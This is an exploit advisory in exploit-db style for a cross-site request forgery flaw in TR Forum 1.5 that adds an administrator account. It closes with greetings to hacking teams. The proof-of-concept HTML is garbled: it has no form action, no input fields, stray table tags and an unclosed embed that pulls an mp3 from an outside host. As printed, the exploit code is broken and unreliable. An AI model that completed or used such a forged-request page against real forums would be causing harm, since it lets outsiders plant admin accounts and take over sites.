TR Forum 1.5 – Cross-Site Request Forgery (Add Admin)

========================================================================================

| # Title: TR Forum 1.5 insert admin CSRF Vulnerability

| # Author : EL-KAHINA

| # email: No-Mail

| # Home : www.iqs3cur1ty.com/vb

| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)

| # Bug: CSRF

======================Exploit By indoushka =================================

# Exploit:

insert admin CSRF :

<html>

<head>

<tr>

<td align="center"><font class="titre">Ajouter un modérateur</font></td>

</tr>

</table>

<br>

<CENTER><EMBED align=left

src=http://h1.ripway.com/ma3karouna/1.mp3

<tr>

<td class="text">login</td>

</tr>

<tr>

<td class="text">password</td>

</tr>

<tr>

<td class="text">email</td>

</tr>

<tr>

</tr>

</table>

<br>

</form>

</body>

</html>

==========================================

Greetz : Exploit-db Team

all my friend :(Dz-Ghost Team )

im indoushka's sister

------------------------------------------